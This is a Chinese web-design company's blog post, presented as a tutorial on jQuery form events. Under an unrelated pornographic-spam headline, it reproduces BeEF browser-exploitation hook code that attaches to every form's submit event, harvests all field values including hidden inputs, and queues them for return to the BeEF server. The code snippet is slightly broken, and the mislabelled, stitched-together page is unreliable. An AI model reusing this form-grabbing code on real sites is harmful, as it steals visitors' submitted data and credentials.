欧美人两个人激情的免费视频_国产亚洲人成网站在线观看不卡_直接看毛片_免费乱理伦片在线观看app

十三年專注于網站建設與互聯網應用開發,低調、有情懷的網絡應用服務商!
南昌百恒科技微信公眾號 掃一掃關注
tel-icon全國服務熱線:400-680-9298,0791-88117053
掃一掃關注百恒科技微信公眾號

淺談jQuery中使用表單事件的應用方法

百恒 2017-07-18 15:52:43 3137
? ? ? ?除了對所有元素監聽鍵盤事件外,BeEF還針對所有<>(注:form 在尖括號里面)元素提供了自定義邏輯。通過使用jQuery的元素選擇器,執行下面的代碼,會在當前DOM中的所有表單的submit事件上綁定beef.logger.submit()函數,下面南昌網絡公司小編就來為大家介紹一下其具體做法。
? ? ? ?$j('form').submit(
? ? ? ?function(e) { beef.logger.submit(e); }
? ? ? ?});
? ? ? ?beef.logger.submit()函數通過遍歷表單,取出所有輸入框的值(包括隱藏元素),然后把它們發送回BeEF服務器:
? ? ? ?/*** 只要有表單提交,就將激發submit函數*/
? ? ? ?submit: function(e) {
? ? ? ?try {
? ? ? ?var f = new beef.logger.e();
? ? ? ?var values = "";
? ? ? ?f.type = 'submit';
? ? ? ?f.target = beef.logger.get_dom_identifier(e.target);
? ? ? ?for (var i = 0; i < e.target.elements.length; i++) {
? ? ? ?values += "["+i+"]";
? ? ? ?values +=e.target.elements[i].name;
? ? ? ?values +="="+e.target.elements[i].value+"n";
? ? ? ?}
? ? ? ?f.data = 'Action: '+$j(e.target).attr('action');
? ? ? ?f.data += ' - Method: '+$j(e.target).attr('method');
? ? ? ?f.data += ' - Values:n'+values;
? ? ? ?this.events.push(f);
? ? ? ?} catch(e) {}
? ? ? ?}
? ? ? ?beef.logger.e定義了一種簡單的事件結構,它可以兼容各種事件類型,比如鼠標事件、鍵盤事件等,便于將各種事件以統一的形式傳回BeEF服務器。函數中的for循環用于遍歷表單中所有的子元素。有一點需要注意,這段代碼并未考慮表單字段中存在disabled屬性的情形。
? ? ? ?以上就是南昌網絡公司-百恒網絡小編為大家介紹的關于jQuery中使用表單事件的應用方法,如還有哪些不明白的地方,可隨時來電咨詢,我們將竭誠為您服務。此外,如有需要南昌網站建設、微信開發、手機APP開發等方面的服務,歡迎大家和我們聯系,百恒網絡隨時為您效勞!
400-680-9298,0791-88117053
掃一掃關注百恒網絡微信公眾號

歡迎您的光顧,我們將竭誠為您服務×

售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售前咨詢 售前咨詢
 
售后服務 售后服務
 
備案專線 備案專線
 
售后服務 售后服務
 
×